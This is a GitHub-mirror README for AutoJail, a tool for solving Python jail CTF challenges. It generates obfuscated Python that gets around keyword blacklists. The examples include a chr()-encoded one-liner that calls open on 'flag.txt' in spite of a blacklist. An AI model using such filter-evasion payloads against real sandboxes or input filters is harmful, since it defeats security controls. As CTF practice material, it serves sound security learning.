Code Monkey home page Code Monkey logo

autojail's Introduction

AutoJail Python

AutoJail is a tool for automatically solving python jail CTF challenges. This program takes in a blacklist/whitelist and generates valid python that, when ran, will execute the desired code.

⚠️ This project is still in development ⚠️

Getting started

git clone [email protected]:martcl/autojail.git
pip install ./autojail
autojail -h

Examples

Open a file with a blacklist

autojail -o flag.txt -b open "'" '"'

print(*__builtins__.__dict__[chr(111)+chr(112)+chr(101)+chr(110)](chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)))

Generate strings

autojail --string HEI --blacklist H c ᶜ 0 7

'%\143'%(int(repr(int(not())+(int(not())+int(not()))+(int(not())+int(not()))**(int(not())+int(not())))+repr(2)))+'%\143'%(69)+'%\143'%(int(repr(int(not())+(int(not())+int(not()))+(int(not())+int(not()))**(int(not())+int(not())))+repr(3)))

Create any number using whitelist

autojail -n 22 -w 0 1 b

0b10110

Usage

usage: main.py [-h] [-b [BLACKLIST ...]] [-w [WHITELIST ...]] [-s STRING]
               [-n NUMBER] [-o FILE_PATH]

Autojail is a tool for automatically solving python jail CTF challenges.

options:
  -h, --help            show this help message and exit
  -b [BLACKLIST ...], --blacklist [BLACKLIST ...]
                        A list of blacklisted kwds not allowed.
  -w [WHITELIST ...], --whitelist [WHITELIST ...]
                        A list of whitelisted kwds allowd to use.
  -s STRING, --string STRING
                        Create a string.
  -n NUMBER, --number NUMBER
                        Create a number.
  -o FILE_PATH, --open FILE_PATH
                        Open a file and read it.

autojail's People

Contributors

martcl avatar

Stargazers

vip3r avatar Evangelos Lioudakis avatar Felix Albrigtsen avatar Jo Remvik avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.